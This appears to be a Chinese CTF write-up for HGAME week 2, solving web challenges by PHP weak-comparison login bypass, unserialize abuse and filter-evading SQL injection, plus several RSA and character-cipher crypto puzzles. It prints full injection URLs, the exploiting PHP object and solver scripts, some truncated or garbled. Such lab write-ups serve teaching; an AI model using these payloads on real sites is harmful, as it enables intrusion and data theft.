

Week 2 write up

web

一本单词书

打开链接显示不安全于是采用http协议

⚠ 不安全 | <https://wordbook.hgame.potat0.cc>

在源代码中发现www.zip于是分析源代码

在login.php中观察考点是弱比较，于是用户名admin，密码位1080t，登陆成功。

观察save.php发现会将两部分的的字符用|拼接然后对后半部分进行序列化。

然后观察get.php

```
8  function decode(string $data): Array {
9      $result = [];
10     $offset = 0;
11     $length = \strlen($data);
12     while ($offset < $length) {
13         if (!strstr(substr($data, $offset), '|')) {
14             return [];
15         }
16         $pos = strpos($data, '|', $offset);
17         $num = $pos - $offset;
18         $varname = substr($data, $offset, $num);
19         $offset += $num + 1;
20         $dataItem = unserialize(substr($data, $offset));
21
22         $result[$varname] = $dataItem;
23         $offset += \strlen(serialize($dataItem));
24     }
25     return $result;
```

发现只是将|右边进行反序列化发现漏洞。最后evil.php看了好久并没有发现file值。最后在hint下发现只需自己构建一个对象中含有file变量同时值正是flag所在的文件即可。然后还要有flag变量供其返回。

```
2
3 class Evil {
4     public $file;
5     public $flag;
6
7     public function __wakeup() {
8         $content = file_get_contents($this->file);
9         if (preg_match("/hgame/", $content)) {
10             $this->flag = 'hacker!';
11         }
12         $this->flag = $content;
13     }
14 }
```

```
1. 444-> {"file":"/flag","flag":"hgame{Uns@f3_D3seR1@liz4t1On!ls~h0rr1b1e-!n_PhP)\n"}
```

得到flag

Pokemon

考点是sql注入

在源代码中发现index.php? id=1但发现这不是注入点在输入错误id后发现错误界面是注入点。根据源码发现code是注入点

21.43.141.153:60056/error.php?code=404|

然后发现一系列字符被过滤只好用/*1*/来代替空格然后对大小写忽视所以只能用双写，其中因为or被过滤所以information也被过滤让我想半天

最后得到数据库名为pokeman 存放表名的字段得到flag

```
1.43.141.153:60056/error.php?code=1/*1*/unionn/*1*/seselectlect/*1*/2,database()#
```

ERROR

2 pokemon

ERROR

1 errors,flllllllllaaaaaag

=1/*1*/uunionnion/*1*/seselectlect/*1*/1,group_concat(table_name)/*1*/frfromom/*1*/infoormation_schema.tables/*1*/wherwheree/*1*/table_sch...

ERROR

1 hgame{C0n9r@tul4ti0n*Y0u\$4r3_sq1_M4ST3R#?}

21.43.141.153:60056/error.php?code=1/*1*/uunionnion/*1*/seselectlect/*1*/1,flag/*1*/frfromom/*1*/flllllllllaaaaaag#

最后拿到flag

crypto

RSA Attack

output.txt - 记事本

文件(F) 编辑(E) 格式(O) 查看(V) 帮助(H)

e = 65537

n = 700612512827159827368074182577656505408114629807

c = 122622425510870177715177368049049966519567512708

2021年1

直接用gmpy库暴力破解即可，最后每八位转字符

```
import gmpy2
if __name__ == '__main__':
    p = 715800347513314032483036
    q = 978782023871716954857210
    d=gmpy2.invert(65537,p*q)
    c = gmpy2.powmod(122622425510870177715177368049049966519567512708, d, 700612512827159827368074182577656505408114629807)
    print(len(bin(c))%8)
    e=bin(c)
    e=e[9:]
    a=0
    num=0
    for i in e:
        a=a+1
        num=num+int(i)*pow(2,(8-a))
        if(a==8):
            print(chr(num),end=" ")
            a=0
            num=0
    print('over')
```

Chinese Character Encryption

文件(F) 编辑(E) 格式(O) 查看(V) 帮助(H)

長苞萼蘭猗詭祥丹朐簞簾屬蕙藏兼傑色臥獸缺取睬洩小殢櫛匱臣俎忱勞充迎蜡鼓敲豔僅在趺礙訝鈔螯蝟龜借羅紮
 瑒砑玳鵠瀉腐磧硃快竊蝗錫細城白道濯瓓庇沍止叄防進糴桂黃乖順瓜莽苻飯燂擇階隅嚀箭盆甌覲觀蟪蝽壘疊贊
 府存躡蹇踰溫氈倉帖佔肚脣綠掣按敷表蛸伺撝驚裁梁鑲鎬鏘嗣冲訕苛窒毓航;汁繕敘戲廐厄滷蛟激另昆蚨婢29+16
 柁栢粧襦褹崑聿枏枋肝肱兼筵餚淡綢悵綖蛇枯瓦貶絶緯壯情釅陳陌藜蝽桤衿柄弔澆鑲楠京蠶繭駭蜚毒2 +50
 稷錫賜幬幬韻囑暇駟夔風瓜偏柄而癉痲籥便低絛攬撰薈浪皇密棖拐亢骷檣檣徐煇玆張佳住們媽蠶專瑕纓爨 |3 +51
 謁延伋菱姦趙蜜澈濤篋賃復潮餅銑麥梓柳嬌驕詞吻嗽萊橫琅嶠曠懸院駢舂端吟劬綱玄庫廉診於懷蠶絲繡花飢馱4 52
 巖因篤嬋庭姦瘳重軀卅鉅饒戈亥支冇裕融駟塵棟登燈樓倥倥暈景峯岼曙旂疥瘡滄淚剖涿螭瑪攤杷樹應
 盜擣揚勢攷拽抻抱棚架!漢謫嗔々噉噬吠牙鏗鏗墾小墩榔標輻輪兩勝|八辰通欒塚樵坎敗圻增濁擊螭志鴉試保質11
 罍钟钦佬忒硃縹黠魴叛絛臚單狎番庫來吐鳳僕诰〃 窰櫛楓椋杜錐冤嘯亮颯撫莪蓋土碩葦蒨髻髮蠶罷淫皀侶讚22=(9+2)*2
 来煌先郢緇淙罕幫玳玳默々嶺顛麓廢綴鉛鈐郎賁實親睨秀弔熒惶話狀烈冲迸蚤慧橡剛剛槎踐齋渚稼松璫顯森哥2=1*2
 堇理乘績貫錯贅寄濤羈鸚詐腫櫛剪給枏焚骸噴棲賦轉找逞英雄類麋塵坐臥既耗鮒鮒釘打林除蠶鋒排僻愷戔43=15*3
 大俳辭這婁箇璋穉霽霖鈔〃窮炳醺離棄零巷銀問麵筋轄帳帷哩猪屠虜陸疇曉夥硬疎荏荏益蒜破蠟嶺綻借聰臘128*3=384
 菡靚痔淵觀瀏潑撥兌貼趾聲爐灰嫻幅蝶峰啞老誼差鑼妓權蜂咆狂羞齣蛟蝨瘡瘡翳倩昏瞶眈眈奢菴轡館斂擬弊彈蠶膝淺痛滴漬 128*2=256
 塹駢群曇舊漣次障仍捌攀撐娵爭鯉堰庠彗躍鷄鄺品防疵蓀漲引圭摧阿巾電皆癢迂軟剛憊詢扉庖困蠟剗曹芥暫鐫
 焰躬腸調譚輝壹袍三捷煙徑柄灼燒櫻運熠諷課忒威霄楸謹證搶鎬汲羌乾浹汚鈔鈴絆鑑鎗津軟較蟪諧譜儀鐸37 16
 烙隳騰鶉膠蹂跼點動枌獲獒徒艱穎遜蘆靛輕狼鸛端噉嗽涼廣虞精媚嬌穿凜哧呷砂垵埵碰鎗楠京蠶繭慨成馳虐
 104 103 97 109 101

b d b b a b b b d b b b c c d a d b c b c d d d b b d d b a d a c b b d b d a b c b b c d b b

xíng dàn chóu lán jiā yáo xiáng rán chuàng rán huáng huáng chǎn bǐng jiù bā fèi chóu gěng hóu miǎo chāo jìn jiàng chán huáng zhī

chōng chen jiē měi cóng yíng chàn huán jiàn jiā mén miǎo tiáo mián hǎi jiè chán zhí

54+b 51+d 47b 59 52 73 23 65 118 65 19 19 26 32 72 67 52 47 33 76 38 27 65 9 26 19 13 62 60 15 53 56 59 39 55 26 44 34 52 64 38 45 37

[‘xíng’], [‘dàn’], [‘chóu’], [‘lán’], [‘jiā’], [‘yáo’], [‘xiáng’], [‘rǎn’], [‘chuàng’], [‘rán’], [‘huáng’], [‘huáng’], [‘chǎn’], [‘bǐng’], [‘jiù’], [‘bā’], [‘fèi’], [‘chóu’],
u’], [‘miǎo’], [‘chào’], [‘jìn’], [‘jiàng’], [‘chán’], [‘huáng’], [‘zhuàng’], [‘kèn’], [‘láo’], [‘chōng’], [‘chén’], [‘jiè’], [‘měi’], [‘cóng’], [‘yíng’], [‘chàn’], [‘hu’],
ā’], [‘mén’], [‘miǎo’], [‘tiao’], [‘mián’], [‘hǎi’], [‘jiè’], [‘chán’], [‘zhí’]]

Process finished with exit code 0

438 308 (52)
róng chí shēn lán jiā dùn kuǎng xiá chuàng qiè huáng huáng hēng jiān lù zhā yīng zāng bìng zhǐ jīng fǎng jìn liáng hàn huáng qiāng shùn

按照拼音将各个字母的asicc码相加，找到四个声调的规律。因为能表示所有asicc码所以要
128取余

最后每位对应一个字符即可

```
print(str(m%128)+'\xend="")
if __name__ == '__main__':
    a=49
    b=50
    c=51
    d=52
    c=[b,d,b,b,a,b,b,c,d,b,b,b,c,c,d,a,d,b,c,b,c,d,d,d,b,b,d,d,b,a,b,a,c,b,b,d,b,d,a,b,c,53,b,c,d,b,b]
    e=[54,51,47,59,52,73,23,65,118,65,19,19,26,32,72,67,52,47,33,76,38,27,65,9,26,19,13,62,60,15,53,56,59,39,55,26,44,34,52,6
    i=0
    f=[438,307,431,315,308,329,535,321,630,321,531,531,410,416,328,195,308,431,417,332,422,411,321,521,410,531,653,318,316,5
    print(len(c),len(e))
    for x in f:
        y=x+c[i]
        i=i+1
    print(chr(y%128),end="")
```

RSA Attack 2

一共有三组数据对应三个解法

```
flag_parts = list(map(s2n, re.findall(rf".{{,{ceil(len(flag) / 3)}}}", flag)))

print("# task1")
m = flag_parts[0]
e = 65537
p = getPrime(1024)
q = getPrime(1024)
r = getPrime(1024)
n1 = p * q
c1 = pow(m, e, n1)
n2 = r * q
c2 = pow(m, e, n2)
print("e =", e)
print("n1 =", n1)
print("c1 =", c1)
print("n2 =", n2)
print("c2 =", c2)
```

第一种根据公因式可将其分解得到即可

```
import gmpy2
e = 65537
n1 =
146115456051079508275810051653276947828231886031517681697314314183613062
311149850377759174614339253080543969708096908040739858353764646298606097
102921813686006186265904984918504045034434142414554873044483448923378774
224657157091542386535051416059041849853118737634957613457221552894578896
860197466632937201068742273236992882777942922089571724465234205963911148
915595378110294731501236416241081036765167544494928051266425527512783096
348467776360421141359905162459075173773201900914007292773076367248905921
552564379965661609954567430182250138519375938860861291313515829588110035
96445806061492952513851932238563627194553
n2 =
209374787251099838030791854504496165674645969613487274538172490351100475
855801428235512895771459581271215867928785093860851784521711124558904294
744577972192028270308842622730613347524934967979353466315098066855891796
183674539927497533182738341130162371206868805141104151136734311704889587
302039634894554189675441286192343949158203929084229740759327518380121855
429688426918242032065177956938938639451006619409884556959235117773065664
193733940919073494316866464855163255754949026823375184380427112964375132
214483970348130992792039555350259391201396806044954869807659108924382849
45450733375156933863150808369796830892363
q=(gmpy2.gcd(n1,n2))
d=gmpy2.invert(e, (n1//q-1)*(q-1))
c1 =
965075803554932988664271816439183802328812013694203741320763105376036912
584995031647672348468111310423680858101990670067065306237596121664884353
679987689532305437801346923070145524106271337770666947677115752724993307
387122132705797012726237073550669419110046308257408484535063515678066777
681017211510981429273346928022971149411064556225001287399141306136081722
471075032423079692908380267160214143720516748000734987068685104675254411
687005690312116824966036851568223828884335112144637268090397158532937141
122654075952730052331573980701136378212002956719295192733955673315234274
064519957670199895100508623561838510479
m1=gmpy2.powmod(c1,d,n1)
print(m1)
```

```
print("# task2")
m = flag_parts[1]
e = 7
p = getPrime(1024)
q = getPrime(1024)
n = p * q
c = pow(m, e, n)
print("e =", e)
print("n =", n)
print("c =", c)
```

第二种因为e过于小可以猜测余数即是本身，然后直接得到答案

```
print("# task3")
m = flag_parts[2]
p = getPrime(1024)
q = getPrime(1024)
n = p * q
e1 = getPrime(32)
e2 = getPrime(32)
c1 = pow(m, e1, n)
c2 = pow(m, e2, n)
print("n =", n)
print("e1 =", e1)
print("c1 =", c1)
print("e2 =", e2)
print("c2 =", c2)
```

第三种用了两个密钥来加密于是产生漏洞用欧几里得算法即可得到答案

```
import gmpy2
#e = 7
#n = 14157878492255346300993349653813018105991884577529909522
#c = 10262871020519116406312674685238364023536657841034751572
#i=1
#print(gmpy2.iroot(c,7))
#m2=269265844013485403313336781029390698389765611370784843788
n = 188195091881062303634448133504681620561644346427294046329
e1 = 2519901323
e2 = 3676335737
c1 = 32307797262255448725314411690093070720737545787618883879
c2 = 94081859562227916143983671964170784679029465088879982233
s=gmpy2.gcdext(e1, e2)
c2 = gmpy2.invert(c2, n)
#m = ((c1*s[1]) / (c2*(-s[2])))%n
m = (pow(c1, s[1], n) * pow(c2, (-s[2]), n)) % n
print(m)
m3=8824029181397692791700562931185667950412890849333378291885
```